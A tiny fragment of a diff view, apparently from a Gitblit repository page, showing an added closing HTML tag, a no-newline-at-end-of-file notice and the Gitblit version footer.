+</html>
\ No newline at end of file
--
Gitblit v1.9.1